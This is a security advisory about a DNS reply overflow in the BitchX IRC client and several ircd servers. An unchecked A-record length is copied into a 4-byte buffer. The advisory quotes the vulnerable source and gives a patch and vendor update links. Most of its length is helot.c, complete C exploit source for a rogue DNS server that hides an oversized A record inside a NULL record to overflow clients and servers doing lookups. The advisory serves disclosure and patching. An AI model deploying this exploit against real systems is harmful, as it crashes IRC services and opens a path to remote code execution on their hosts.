COMMAND

    ircd

SYSTEMS AFFECTED

    BitchX and others...

PROBLEM

    There's a  problem with  BitchX and  DNS.   Current and  older IRC
    servers  suffer  from  a  common  bug.   A  pointer is not updated
    correctly when handling unsupported  RR types (eg: T_NULL).   This
    makes the server think it received a malformed packet when  trying
    to process the  next RR.   It's not a  really serious bug,  but it
    allows  for  a  neat  trick:   you  can  embed  any  RR type in an
    unsupported RR (eg: T_NULL).  These embedded RR's are not  checked
    for errors or dropped by nameservers...

    BitchX all versions, remote code excecution bitchx appears to  use
    code from older irc servers to perform dns lookups.  This old code
    suffers from  a bcopy/memcpy  overflow while  processing T_A RR's.
    The T_A  RR data  length is  used in  a subsequent  memcpy without
    bounds checking.   The overflowed variable  stores an IP  address,
    only 4 bytes long.  This is similar to the I_QUERY BIND  overflow.
    BitchX dns also suffers from problem mentioned above.

    from bitchx-1.0c17, ./source/misc.c : ar_procanswer(); line 2639:

          dlen =  (int)_getshort(cp);
          cp += sizeof(short);
          rptr->re_type = type;

          switch(type)
          {
          case T_A :
                  rptr->re_he.h_length = dlen;
                  if (ans == 1)
                          rptr->re_he.h_addrtype=(class == C_IN) ? AF_INET : AF_UNSPEC;
                  memcpy(&dr, cp, dlen);

    comstud ircd, remote code execution funny enough, while working on
    the  BitchX  overflow,  'nimrood'  accidentally connected a client
    using  the  wrong  IP  to  a  comstud  ircd...it  died.   He found
    comstud-1.x releases are not  vulnerable.  He suspects  other ircd
    server varients will be  vulnerable.  hybrid-ircd team  fixed this
    bug a while back with the release of hybrid-5.3p3.

    from irc2.8.21+CSr31pl2, ./source/res.c : proc_answer()

        line 548:
                 dlen =  (int)_getshort((u_char *)cp);
        line 565:
                 switch(type)
                 {
                 case T_A :
                         hp->h_length = dlen;
                         if (ans == 1)
                                 hp->h_addrtype =  (class == C_IN) ? AF_INET : AF_UNSPEC;
                         bcopy(cp, (char *)&dr, dlen);

    Below is exploit code:

    /*
     * helot.c - bitchx/ircd DNS overflow demonstration
     * w00w00 Security Development (WSD)
     * 12.04.2000 nimrood (nimrood@onebox.com)
     *
     * this same code i used to exploit an ircd DNS spoofing bug
     * from early '99. re-usable code is great.
     * this program is fun to play with if you're messing with DNS.
     * the packet builder is MakeDNSPkt(). this tool compiles on my
     * linux systems with no problems.
     *
     * 	Greetings :: #!w00w00, caddis, dmess0r, nocarrier, nyt,
     *                   superluck, jobe, awr, metabolis, sq, bb0y
     *
     * ----------------------------------
     *
     * there are no bad guys... just disturbed guys.
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <signal.h>
    #include <netinet/in.h>
    #include <arpa/nameser.h>
    #include <arpa/inet.h>

    /* for whatever reason, these may need to be defined */
    #ifndef u_char
    #define u_char unsigned char
    #endif
    #ifndef u_short
    #define u_short unsigned short
    #endif
    #ifndef u_long
    #define u_long unsigned long
    #endif

    #define DNS_PORT 53

    extern int optind, optopt;
    extern char *optarg;

    /* used for converting query type integer to respective string */
    struct qtype_list
    {
	    int type;
	    char *name;
    };
    const struct qtype_list qtypelist[] =
    {
	    {T_A,		"A"},
	    {T_NS,		"NS"},
	    {T_CNAME,	"CNAME"},
	    {T_SOA,		"SOA"},
	    {T_PTR,		"PTR"},
	    {T_HINFO,	"HINFO"},
	    {T_MX,		"MX"},
	    {T_ANY,		"ANY"},
	    {T_NULL,	"NULL"},
	    {T_WKS,		"WKS"},
	    {0,		"(unknown)"}
    };

    void CatchSigInt(int sig)
    {
	    signal(SIGINT, SIG_DFL);
    }

    void Usage(char *prog)
    {
	    fprintf(stderr, "\
    usage: %s [-k pid] [-t ttl] [-b ip] ip hostname\n\
      ip           ip address to answer reverse lookups for\n\
      hostname     hostname to be mapped to ip, and answer forward lookups\n\
      -k           kill this process before binding dns port\n\
      -t           cache time-to-live (seconds) for this answer (default: 900)\n\
      -b           bind the nameserver to this address (default, all addresses)\n",
	    prog);
	    exit(1);
    }

    char *ip2InAddrStr(u_long ip)
    {
	    static char *str;
	    u_char *byte;

	    if(!str)
	    {
		    if((str=malloc(MAXLABEL)) == NULL)
			    return(str);
	    }

	    /* IP should be in network order to generate a proper in-addr */
	    byte = (u_char *)&ip;
	    sprintf(str, "%d.%d.%d.%d.IN-ADDR.ARPA.", byte[3], byte[2], byte[1],
		    byte[0]);

	    return(str);
    }

    u_short ExpandDName(char *comp, char *dest, u_short len)
    {
            char *cp, *cp2;
            u_short num;

            cp = comp; cp2 = dest;
            if(strchr(cp, '.') && strlen(cp) < len)
            {
                    strcpy(cp2, cp);
                    if(*(cp2 + strlen(cp2)) != '.')
                            strcat(cp2, ".");
                    return(strlen(cp2));
            }

            while((*cp) && (cp))
            {
                    num = (u_char)*cp;
                    if(num + (cp2 - dest) > len)
                            break;
                    memcpy(cp2, ++cp, num);
                    cp += num; cp2 += num;
                    *(cp2++) = '.';
            }
            *cp2 = 0;
            return(cp2 - dest);
    }

    int CompDName(char *buf, char *dname)
    {
	    char *p = buf, *p1;

	    while((*dname) && (dname))
	    {
		    if((*dname == '.') && (!*(dname + 1)))
			    break;
		    p1 = strchr(dname, '.');
		    if(!p1)
			    p1 = strchr(dname, 0);
		    *(p++) = p1 - dname;
		    memcpy(p, dname, p1 - dname);
		    p += p1 - dname;
		    dname = p1;
		    if(*p1)
			    dname++;
	    }
	    *(p++) = 0;
	    return(p - buf);
    }

    /*
     * ProcDNSPkt()
     *
     * desc: process a packet, return query name IF it's a question
     * input: pointer to packet buffer, packet buffer length
     * output: pointer to query name string, or NULL, type of query
     */
    char *ProcDNSPkt(char *pkt, u_short pktlen, int *qtype)
    {
	    static char *qname;
	    char *qRR;
	    HEADER *dnshdr;
	    int qnamelen;

	    /* do we even have something to look at? */
	    if(pkt == NULL || pktlen < (HFIXEDSZ + QFIXEDSZ))
		    return(0);
	    dnshdr = (HEADER *)pkt;

	    /* check query response flag */
	    if(dnshdr->qr)
		    return(0);

	    /* check that we have only a question in this packet */
	    if(ntohs(dnshdr->qdcount) != 1 || ntohs(dnshdr->arcount) != 0 ||
		    ntohs(dnshdr->nscount) != 0 || ntohs(dnshdr->arcount) != 0)
		    return(0);

	    if(!qname)
	    {
		    if((qname = malloc(MAXDNAME)) == 0)
		    {
			    fprintf(stderr, "no memory for qname\n");
			    return(0);
		    }
	    }
	    qnamelen = ExpandDName(pkt+HFIXEDSZ, qname, MAXDNAME);
	    if(qnamelen == 0)
		    return(NULL);

	    /* extract the query type received and fill in qtype */
	    qRR = pkt + HFIXEDSZ + strlen(pkt + HFIXEDSZ) + 1;
	    GETSHORT(qnamelen, qRR);
	    *qtype = qnamelen;
	    return(qname);
    }

    /*
     * QType2Str()
     *
     * desc: convert query type integer to a string representation
     * input: query type
     * output: pointer to string of query type
     */
    char *QType2Str(int qtype)
    {
	    int i = 0;

	    while(qtypelist[i].type && qtypelist[i].type != qtype)
		    i++;
	    return(qtypelist[i].name);
    }

    /*
     * MakeDNSPkt()
     *
     * desc: make a dns answer packet for a question
     * input: pointer to original query packet to build answer for, pointer to
     *	answer packet buffer, buffer length, answer data, additional data,
     *	time-to-live
     * output: returns size of answer packet, or NULL
     */
    u_short MakeDNSPkt(char *qpkt, char *apkt, u_short alen, char *answer,
	    char *additional, u_long ttl)
    {
	    u_short sz, offset;
	    int qtype;
	    HEADER *qhdr, *ahdr;
	    char *query, *aquery, *answerRR;
	    char qname[MAXDNAME]; /* domain name label scratch pad */
	    char *cp, *cp2;

	    /* do some checks */
	    if(qpkt == NULL || apkt == NULL || answer == NULL || additional == NULL)
		    return(0);

	    /* setup pointers */
	    qhdr = (HEADER *)qpkt; ahdr = (HEADER *)apkt;
	    query = qpkt + HFIXEDSZ; aquery = apkt + HFIXEDSZ;

	    /* answer packet dns header, we use the query packet's hdr */
	    if(alen < HFIXEDSZ)
		    return(0);
	    memcpy(ahdr, qhdr, HFIXEDSZ);
	    ahdr->qr = 1; /* query response */
	    ahdr->aa = 1; /* authoratative answer */
	    ahdr->rcode = NOERROR;

	    /* copy original query info to answer packet */
	    memcpy(aquery, query, (strlen(query) + QFIXEDSZ + 1));
	    aquery += strlen(query) + 1;
	    GETSHORT(qtype, aquery);
	    answerRR = aquery + INT16SZ;

	    /* build the answer RR's based on query type */
	    sz = CompDName(qname, answer);

	    switch(qtype)
	    {
		    case T_PTR:
			    /* answer the original question. this RR's data
			     * comes from the "hostname" cmdline option.
			     * this is a normal and valid resource record
			     */
			    PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
			    PUTSHORT(T_PTR, answerRR);
			    PUTSHORT(C_IN, answerRR);
			    PUTLONG(ttl, answerRR);
			    PUTSHORT(sz, answerRR);
			    memcpy(answerRR, qname, sz);
			    offset = answerRR - apkt; /* offset used for compression */
			    answerRR += sz;

			    /* this RR, T_NULL demonstrates problem 1. this RR has
			     * an embedded T_A record in it's data field
			     */
			    PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
			    PUTSHORT(T_NULL, answerRR);
			    PUTSHORT(C_IN, answerRR);
			    PUTLONG(ttl, answerRR);
			    cp = answerRR; /* pointer to T_NULL RR's data lengh */
			    PUTSHORT(0, answerRR);
			    cp2 = answerRR;	/* pointer to start of embedded T_A RR */

			    /* T_A record is actually embedded in the T_NULL record.
			     * bitchx/ircd will read into this T_A record on the next loop.
			     * this lets us get around restrictions in BIND on T_A RR's
			     *
			     * this RR causes problems 2 & 3 -- the overflow
			     */
			    PUTSHORT((offset | 0xc000), answerRR);
			    PUTSHORT(T_A, answerRR);
			    PUTSHORT(C_IN, answerRR);
			    PUTLONG(ttl, answerRR);
			    PUTSHORT(180, answerRR); /* overflow with 180 N's */
			    memset(answerRR, 'N', 180);
			    answerRR += 180;

			    /* compute size of embedded T_A & update T_NULL's dlength */
			    PUTSHORT((answerRR - cp2), cp);

			    /* this record is needed to continue the dns loop in
			     * bitchx/ircd. it can be any RR, i used T_NULL
			     */
                            PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
                            PUTSHORT(T_NULL, answerRR);
                            PUTSHORT(C_IN, answerRR);
                            PUTLONG(ttl, answerRR);
                            PUTSHORT(0, answerRR);

			    ahdr->ancount = htons(3);
			    ahdr->nscount = htons(0);
			    ahdr->arcount = htons(0);
			    break;

		    case T_A:
			    /* BIND deems T_A records with data length <> 4 bytes
			     * to be malformed. so we must embed the RR.
			     */
			    PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
			    PUTSHORT(T_NULL, answerRR);
			    PUTSHORT(C_IN, answerRR);
			    PUTLONG(ttl, answerRR);
			    cp = answerRR;
			    PUTSHORT(0, answerRR);
			    cp2 = answerRR;

			    /* problem 2 & 3 demonstrated with a T_A query */
			    PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
			    PUTSHORT(T_A, answerRR);
			    PUTSHORT(C_IN, answerRR);
			    PUTLONG(ttl, answerRR);
			    PUTSHORT(180, answerRR);
			    memset(answerRR, 'A', 180);
			    answerRR += 180;

			    /* fix up the size of the T_NULL */
			    PUTSHORT((answerRR - cp2), cp);

			    /* another T_NULL ... */
                            PUTSHORT((HFIXEDSZ | 0xc000), answerRR);
                            PUTSHORT(T_NULL, answerRR);
                            PUTSHORT(C_IN, answerRR);
                            PUTLONG(ttl, answerRR);
                            PUTSHORT(0, answerRR);

			    ahdr->ancount = htons(2);
                            ahdr->nscount = htons(0);
                            ahdr->arcount = htons(0);
                            break;

		    default:
			    fprintf(stderr, "\ntype %d query not supported\n",
				    qtype);
			    return(0);
	    }

	    return(answerRR - (char *)ahdr);
    }

    /*
     * SocketBind()
     *
     * desc: get's a udp socket and binds it to dns port 53 and an IP address
     * input: pid to kill before bind, struct sockaddr initialize, IP address
     * output: socket descriptor, or -1 on error
     */
    int SocketBind(u_short pid, struct sockaddr_in *sa, u_long listen_ip)
    {
	    int sd, sockopt, sockoptlen;

	    if((sd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
	    {
		    perror("can't get a udp socket");
		    return(sd);
	    }


	    if(pid)
	    {
		    fprintf(stderr, "killing pid %u...", pid);
		    if(kill(pid, SIGKILL) < 0)
		    {
			    perror("can't kill process");
			    return(-1);
		    }
		    fprintf(stderr, "killed.\n");
	    }

	    sa->sin_family = AF_INET;
	    sa->sin_port = htons(DNS_PORT);
	    sa->sin_addr.s_addr = listen_ip;
	    sockopt = 1; sockoptlen = 4;
	    setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&sockopt, sockoptlen);

	    if(bind(sd, (struct sockaddr *)sa, sizeof(struct sockaddr)) < 0)
	    {
		    perror("can't bind dns port 53");
		    return(-1);
	    }

	    fprintf(stderr, "listening on %s...\n", inet_ntoa(sa->sin_addr));
	    return(sd);
    }

    /*
     * SendPkt()
     *
     * desc: send dns answer packet into the great unknown
     * input: socket, received packet, answer string, additional answer, ttl,
     *	struct sockaddr from, from length
     * output: returns # bytes sent, < 0 on error
     */
    int SendPkt(int sd, char *rbuf, char *answer, char *additional, u_long ttl,
	    struct sockaddr_in *to, int tolen)
    {
	    char sbuf[PACKETSZ];
	    int slen, sent;

	    slen = MakeDNSPkt(rbuf, sbuf, PACKETSZ, answer, additional, ttl);
	    if(!slen)
	    {
		    fprintf(stderr, "error building answer packet\n");
		    return(-1);
	    }
	    if((sent = sendto(sd, sbuf, slen, 0, (struct sockaddr *)to, tolen)) < 0)
	    {
		    perror("sending answer packet");
		    return(sent);
	    }
	    return(sent);
    }

    /*
     * main()
     */
    int main(int argc, char *argv[])
    {
	    int sd, opt, rlen, fromlen, sent, qtype;
	    u_short killpid = 0;
	    u_long ttl = (15 * 60), ip, bind_ip = 0;
	    char rbuf[PACKETSZ];
	    char *qname = NULL,  *inaddrstr = NULL, *hostname = NULL;
	    struct sockaddr_in named, from;
	    fd_set dns;

	    fprintf(stderr,"\
    helot.c - bitchx/ircd DNS overflow demonstration
    12.04.2000 nimrood (nimrood@onebox.com)
    w00w00 Security Development (WSD)\n\n");

	    while((opt = getopt(argc, argv, "k:t:b:")) != -1)
	    {
		    switch(opt)
		    {
			    case 'k':
				    killpid = atoi(optarg);
				    break;
			    case 't':
				    ttl = strtoul(optarg, NULL, 0);
				    break;
			    case 'b':
				    if((bind_ip = inet_addr(optarg)) == -1)
				    {
					    fprintf(stderr,
					    "%s is not an ip address!\n", optarg);
					    exit(-1);
				    }
				    break;
			    case '?':
				    Usage(argv[0]);
				    /* NOT REACHED */
			    default:
				    fprintf(stderr, "getopt() error doh!\n");
				    exit(-1);
		    }
	    }

	    /* get ip address and hostname to use for answers */
	    if((argc - optind) != 2)
		    Usage(argv[0]);

	    if((ip = inet_addr(argv[optind])) == -1)
	    {
		    fprintf(stderr, "%s not an ip address!\n", argv[optind]);
		    exit(-1);
	    }

            /* get a socket and bind it to the dns port 53 */
            if((sd = SocketBind(killpid, &named, bind_ip)) < 0)
            {
                    fprintf(stderr, "error setting up network!\n");
                    goto exit_helot;
            }

	    if((hostname = malloc(strlen(argv[++optind]) + 2)) == NULL)
	    {
		    fprintf(stderr, "can't get memory for hostname!\n");
		    goto exit_helot;
	    }
	    strcpy(hostname, argv[optind]);
	    if(*(hostname + strlen(hostname)) != '.')
		    strcat(hostname, ".");

	    if((inaddrstr = ip2InAddrStr(ip)) == NULL)
	    {
		    fprintf(stderr, "can't get memory for in-addr string!\n");
		    goto exit_helot;
	    }

	    /* catch ctrl-c so i can free used memory */
	    signal(SIGINT, CatchSigInt);

	    while(1)
	    {
		    FD_ZERO(&dns);
		    FD_SET(sd, &dns);
		    if(select((sd + 1), &dns, NULL, NULL, NULL) < 0)
		    {
			    perror("error on listening socket");
			    break;
		    }

		    if(FD_ISSET(sd, &dns))
		    {
			    fromlen = sizeof(from);
			    if((rlen = recvfrom(sd, rbuf, PACKETSZ, 0,
				    (struct sockaddr *)&from, &fromlen)) < 0)
			    {
				    perror("error reading from socket");
				    break;
			    }

			    if(!rlen)
			    {
				    fprintf(stderr, "from %s, empty packet\n",
					    inet_ntoa(from.sin_addr));
				    continue;
			    }

			    if((qname = ProcDNSPkt(rbuf, rlen, &qtype)) == NULL)
			    {
				    fprintf(stderr, "from %s, no query\n",
					    inet_ntoa(from.sin_addr));
				    continue;
			    }

			    fprintf(stderr, "from %s, %s/%s, query", inet_ntoa(from.sin_addr),
				    qname, QType2Str(qtype));

			    if(strcasecmp(qname, inaddrstr) == 0 && qtype == T_PTR)
			    {
				    sent = SendPkt(sd, rbuf, hostname, (char *)&ip,
					    ttl, &from, fromlen);
				    if(sent <= 0)
				    {
					    fprintf(stderr, "no answer sent!!\n");
					    break;
				    }

				    fprintf(stderr, " answered.\n");
				    continue;
			    }

			    if(strcasecmp(qname, hostname) == 0 && qtype == T_A)
			    {
				    sent = SendPkt(sd, rbuf, hostname, (char *)&ip,
					    ttl, &from, fromlen);
				    if(sent <= 0)
				    {
					    fprintf(stderr, "no answer sent!!\n");
					    break;
				    }

				    fprintf(stderr, " answered\n");
			    }
		    }
		    fprintf(stderr,"\n");
	    }

    exit_helot:
	    fprintf(stderr, "\ncleaning up...\n");
	    free(qname); free(hostname); free(inaddrstr); close(sd);
	    exit(-1);
    }

    All  versions  of  cyclone  are  vunerable  to this bug.  DALnet's
    Bahamut isn't vunerable to this.

SOLUTION

    This patch is derived from  the BitchX-1.0c17 source tree, but  is
    relevent to previous versions:

    *** BitchX/source/misc.c.orig   Thu Dec  7 01:33:11 2000
    --- BitchX/source/misc.c        Thu Dec  7 01:42:38 2000
    ***************
    *** 2643,2648 ****
    --- 2643,2653 ----
                    switch(type)
                    {
                    case T_A :
    +                       if (dlen != sizeof(struct in_addr))
    +                       {
    +                               cp += dlen;
    +                               break;
    +                       }
                            rptr->re_he.h_length = dlen;
                            if (ans == 1)
                                    rptr->re_he.h_addrtype=(class == C_IN)
    ?
    ***************
    *** 2689,2694 ****
    --- 2694,2700 ----
                            *alias = NULL;
                            break;
                    default :
    +                       cp += dlen;
                            break;
                    }
            }

    The  bug  is  triggered  by  returning  a  128-byte  answer  to an
    A-record query, eg, a 128-byte A-record response to a reverse  DNS
    lookup on the client IP.  The fix should be self-evident.

    IRCnet ircd had this bug fixed on 19 Jun 1997, release 2.9.3 was
    clean.

    For Conectiva Linux:

        ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/BitchX-75p3-12cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.0/i386/BitchX-75p3-12cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0/i386/wserv-1.13-4cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/SRPMS/BitchX-75p3-12cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/i386/BitchX-75p3-12cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/i386/wserv-1.13-4cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/BitchX-75p3-12cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/i386/BitchX-75p3-12cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/i386/wserv-1.13-4cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/BitchX-75p3-12cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/i386/BitchX-75p3-12cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/i386/wserv-1.13-4cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/BitchX-75p3-12cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/i386/BitchX-75p3-12cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/i386/wserv-1.13-4cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/BitchX-75p3-12cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/i386/BitchX-75p3-12cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/i386/wserv-1.13-4cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/BitchX-75p3-12cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/RPMS/BitchX-75p3-12cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/RPMS/wserv-1.13-4cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/BitchX-75p3-12cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/BitchX-75p3-12cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/wserv-1.13-4cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/BitchX-75p3-12cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/BitchX-75p3-12cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/wserv-1.13-4cl.i386.rpm

    For Caldera Systems:

        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/irc-BX-1.0c17-2.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS/irc-BX-1.0c17-2.src.rpm
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/irc-BX-1.0c17-2.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS/irc-BX-1.0c17-2.src.rpm
        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/irc-BX-1.0c17-2.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS/irc-BX-1.0c17-2.src.rpm

    For FreeBSD:

        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/irc/BitchX-1.0c17_1.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/irc/BitchX-1.0c17_1.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/irc/BitchX-1.0c17_1.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/irc/BitchX-1.0c17_1.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/irc/BitchX-1.0c17_1.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/korean/ko-BitchX-1.0c16_3.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/korean/ko-BitchX-1.0c16_3.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/korean/ko-BitchX-1.0c16_3.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/korean/ko-BitchX-1.0c16_3.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/korean/ko-BitchX-1.0c16_3.tgz

    For RedHat:

        ftp://updates.redhat.com/powertools/6.2/alpha/BitchX-1.0c17-3.alpha.rpm
        ftp://updates.redhat.com/powertools/6.2/sparc/BitchX-1.0c17-3.sparc.rpm
        ftp://updates.redhat.com/powertools/6.2/i386/BitchX-1.0c17-3.i386.rpm
        ftp://updates.redhat.com/powertools/6.2/SRPMS/BitchX-1.0c17-3.src.rpm
        ftp://updates.redhat.com/powertools/7.0/alpha/BitchX-1.0c17-4.alpha.rpm
        ftp://updates.redhat.com/powertools/7.0/alpha/gtkBitchX-1.0c17-4.alpha.rpm
        ftp://updates.redhat.com/powertools/7.0/i386/BitchX-1.0c17-4.i386.rpm
        ftp://updates.redhat.com/powertools/7.0/i386/gtkBitchX-1.0c17-4.i386.rpm
        ftp://updates.redhat.com/powertools/7.0/SRPMS/BitchX-1.0c17-4.src.rpm

    For Linux-Mandrake:

        Linux-Mandrake 6.1: 6.1/RPMS/BitchX-1.0-0.c17.1.2mdk.i586.rpm
                            6.1/SRPMS/BitchX-1.0-0.c17.1.2mdk.src.rpm
        Linux-Mandrake 7.0: 7.0/RPMS/BitchX-1.0-0.c17.1.2mdk.i586.rpm
                            7.0/SRPMS/BitchX-1.0-0.c17.1.2mdk.src.rpm
        Linux-Mandrake 7.1: 7.1/RPMS/BitchX-1.0-0.c17.1.2mdk.i586.rpm
                            7.1/SRPMS/BitchX-1.0-0.c17.1.2mdk.src.rpm
        Linux-Mandrake 7.2: 7.2/RPMS/BitchX-1.0-0.c17.1.1mdk.i586.rpm
                            7.2/SRPMS/BitchX-1.0-0.c17.1.1mdk.src.rpm

    A corrected version of  Cyclone (version 0.3.1) has  been released
    and can be obtained from the normal Cyclone FTP site:

        ftp://ftp.slashnet.org/pub/cyclone/server/